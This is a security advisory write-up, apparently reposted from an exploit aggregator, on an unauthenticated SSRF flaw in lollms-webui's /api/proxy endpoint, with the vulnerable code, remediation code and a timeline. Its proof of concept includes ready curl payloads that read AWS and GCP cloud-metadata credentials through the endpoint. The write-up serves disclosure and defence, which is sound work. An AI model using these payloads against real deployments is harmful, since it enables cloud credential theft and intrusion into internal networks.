Share
## https://sploitus.com/exploit?id=PACKETSTORM:218144
# CVE-2026-33340: SSRF in lollms-webui
    
    ## Overview
    
    | Field | Detail |
    |---|---|
    | **CVE ID** | CVE-2026-33340 |
    | **Vulnerability** | Server-Side Request Forgery (SSRF) |
    | **Affected Product** | ParisNeo/lollms-webui (LoLLMs WEBUI) |
    | **Severity** | Critical โ€” CVSS 9.1 |
    | **CVSS Vector** | `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N` |
    | **CWE** | CWE-918: Server-Side Request Forgery (SSRF) |
    | **Affected Component** | `lollms_core/lollms/server/endpoints/lollms_apps.py` |
    | **Vulnerable Endpoint** | `/api/proxy` |
    | **Advisory** | [GHSA-mcwr-5469-pxj4](https://github.com/ParisNeo/lollms-webui/security/advisories/GHSA-mcwr-5469-pxj4) |
    | **NVD** | [NVD Entry](https://nvd.nist.gov/vuln/detail/CVE-2026-33340) |
    | **SentinelOne** | [SentinelOne Analysis](https://www.sentinelone.com/vulnerability-database/cve-2026-33340/) |
    | **Discovered by** | [Regaan R](https://github.com/regaan) โ€” [ROT Independent Security Research Lab](https://rothackers.com) |
    
    ---
    
    ## Summary
    
    A critical Server-Side Request Forgery (SSRF) vulnerability has been identified in `lollms-webui`, the web interface for Lord of Large Language and Multi modal Systems. The `@router.post("/api/proxy")` endpoint allows **unauthenticated attackers** to force the server into making arbitrary GET requests. This can be exploited to access internal services, scan local networks, or exfiltrate sensitive cloud metadata such as AWS/GCP IAM tokens.
    
    ---
    
    ## Affected Product
    
    - **Repository**: [`ParisNeo/lollms-webui`](https://github.com/ParisNeo/lollms-webui) / [`ParisNeo/lollms`](https://github.com/ParisNeo/lollms)
    - **Affected Component**: `lollms_core/lollms/server/endpoints/lollms_apps.py` ([Lines 443-450](https://github.com/ParisNeo/lollms-webui/blob/8c5dcef63d847bb3d027ec74915d8fe4afd3014e/lollms/server/endpoints/lollms_apps.py#L443-L450))
    - **Vulnerable Endpoint**: `/api/proxy`
    - **Affected Versions**: All known existing versions
    
    ---
    
    ## Root Cause Analysis
    
    The vulnerability exists because the `proxy` function in `lollms_apps.py` does not implement authentication or any form of URL/domain validation. It accepts a raw URL string from the user and passes it directly to an asynchronous HTTP client.
    
    ### Vulnerable Code
    
    ```python
    @router.post("/api/proxy")
    async def proxy(request: ProxyRequest):
        try:
            async with httpx.AsyncClient() as client:
                # No check_access() call โ€” unauthenticated
                # No URL validation โ€” arbitrary destinations
                response = await client.get(request.url)
                return {"content": response.text}
        except Exception as e:
            raise HTTPException(status_code=500, detail=str(e))
    ```
    
    ### What's Wrong
    
    1. **No Authentication**: The endpoint does not call `check_access(lollmsElfServer, request.client_id)` or any authentication middleware, allowing any unauthenticated user to invoke it.
    2. **No URL Validation**: The user-supplied URL is passed directly to `httpx.AsyncClient().get()` without checking the destination against a whitelist or blocking private/internal IP ranges.
    3. **Full Response Disclosure**: The entire HTTP response body is returned to the caller via `{"content": response.text}`, allowing complete data exfiltration.
    
    ---
    
    ## Proof of Concept
    
    ### Step 1 โ€” Set up a simulated internal service
    
    ```bash
    echo "INTERNAL_SECRET_DATA" > secret.txt
    python3 -m http.server 8888
    ```
    
    ### Step 2 โ€” Exploit the SSRF
    
    ```bash
    curl -X POST http://localhost:9600/api/proxy \
         -H "Content-Type: application/json" \
         -d '{"url": "http://localhost:8888/secret.txt"}'
    ```
    
    ### Step 3 โ€” Observe the response
    
    ```json
    {"content": "INTERNAL_SECRET_DATA\n"}
    ```
    
    The server fetched the file from the internal service and returned its contents to the attacker.
    
    ### Cloud Metadata Exploitation
    
    ```bash
    # AWS IMDSv1 โ€” Retrieve IAM credentials
    curl -X POST http://<target>:9600/api/proxy \
         -H "Content-Type: application/json" \
         -d '{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'
    
    # GCP โ€” Retrieve access token
    curl -X POST http://<target>:9600/api/proxy \
         -H "Content-Type: application/json" \
         -d '{"url": "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"}'
    ```
    
    ---
    
    ## Impact
    
    | Scenario | Description |
    |---|---|
    | **Cloud Credential Theft** | Attackers on cloud platforms (AWS/GCP/Azure) can access `http://169.254.169.254/` to retrieve instance metadata, IAM credentials, and access tokens โ€” leading to full cloud account compromise. |
    | **Internal Network Pivoting** | Attackers can probe internal databases, APIs, admin panels, and management interfaces not exposed to the public internet. |
    | **Localhost Service Access** | Attackers can reach `localhost`-bound services (Redis, Elasticsearch, Docker API, database consoles) that implicitly trust local traffic. |
    | **Internal Port Scanning** | The SSRF can be used to enumerate open ports and running services on the internal network by observing response timing and error messages. |
    | **Data Exfiltration** | Any HTTP-accessible data within the server's network reach can be read and returned to the attacker. |
    
    ---
    
    ## Attack Flow
    
    ```
    Attacker                         lollms-webui Server                    Internal Network
       |                                    |                                      |
       |  POST /api/proxy                   |                                      |
       |  {"url": "http://169.254..."}      |                                      |
       |----------------------------------->|                                      |
       |                                    |  GET http://169.254.169.254/...      |
       |                                    |------------------------------------->|
       |                                    |                                      |
       |                                    |  200 OK (IAM credentials)            |
       |                                    |<-------------------------------------|
       |                                    |                                      |
       |  {"content": "<credentials>"}      |                                      |
       |<-----------------------------------|                                      |
    ```
    
    ---
    
    ## Proposed Remediation
    
    ### 1. Add Authentication
    
    ```python
    @router.post("/api/proxy")
    async def proxy(request: ProxyRequest):
        check_access(lollmsElfServer, request.client_id)  # Add this
        # ...
    ```
    
    ### 2. Implement URL Validation
    
    ```python
    from urllib.parse import urlparse
    import ipaddress
    
    BLOCKED_RANGES = [
        ipaddress.ip_network("127.0.0.0/8"),
        ipaddress.ip_network("10.0.0.0/8"),
        ipaddress.ip_network("172.16.0.0/12"),
        ipaddress.ip_network("192.168.0.0/16"),
        ipaddress.ip_network("169.254.0.0/16"),  # Cloud metadata
    ]
    
    def is_safe_url(url: str) -> bool:
        parsed = urlparse(url)
        hostname = parsed.hostname
        if hostname in ("localhost", ""):
            return False
        try:
            ip = ipaddress.ip_address(hostname)
            return not any(ip in network for network in BLOCKED_RANGES)
        except ValueError:
            # Hostname is a domain โ€” resolve and check
            import socket
            resolved = socket.gethostbyname(hostname)
            ip = ipaddress.ip_address(resolved)
            return not any(ip in network for network in BLOCKED_RANGES)
    ```
    
    ### 3. Restrict to Whitelisted Domains
    
    ```python
    ALLOWED_DOMAINS = ["api.example.com", "cdn.example.com"]
    
    def is_whitelisted(url: str) -> bool:
        parsed = urlparse(url)
        return parsed.hostname in ALLOWED_DOMAINS
    ```
    
    ---
    
    ## Patch Status
    
    As of the publication date, **no patched version** of lollms-webui has been released. Monitor the [GitHub Security Advisory](https://github.com/ParisNeo/lollms-webui/security/advisories/GHSA-mcwr-5469-pxj4) for updates.
    
    ---
    
    ## Timeline
    
    | Date | Event |
    |---|---|
    | 2026-03-07 | Vulnerability discovered and reported via GitHub Security Advisory |
    | 2026-03-24 | CVE-2026-33340 published to NVD |
    | 2026-03-25 | NVD database entry updated |
    | 2026-03-27 | SentinelOne publishes vulnerability analysis |
    
    ---
    
    ## References
    
    - [NVD โ€” CVE-2026-33340](https://nvd.nist.gov/vuln/detail/CVE-2026-33340)
    - [GitHub Security Advisory โ€” GHSA-mcwr-5469-pxj4](https://github.com/ParisNeo/lollms-webui/security/advisories/GHSA-mcwr-5469-pxj4)
    - [SentinelOne Vulnerability Database โ€” CVE-2026-33340](https://www.sentinelone.com/vulnerability-database/cve-2026-33340/)
    - [Vulnerable Source Code (Lines 443-450)](https://github.com/ParisNeo/lollms-webui/blob/8c5dcef63d847bb3d027ec74915d8fe4afd3014e/lollms/server/endpoints/lollms_apps.py#L443-L450)
    
    ---
    
    ## Discovered by
    
    **Regaan R** ([@regaan](https://github.com/regaan))
    Lead Researcher โ€” [ROT Independent Security Research Lab](https://rothackers.com)
    
    ---
    
    ## Disclaimer
    
    This writeup is published for educational and defensive purposes only. The vulnerability was reported through responsible disclosure via GitHub Security Advisories. Always obtain proper authorization before testing for vulnerabilities.
    
    ---
    
    ## License
    
    This writeup is released under [CC BY 4.0](https://creativecommons.org/licenses/by/4.0/).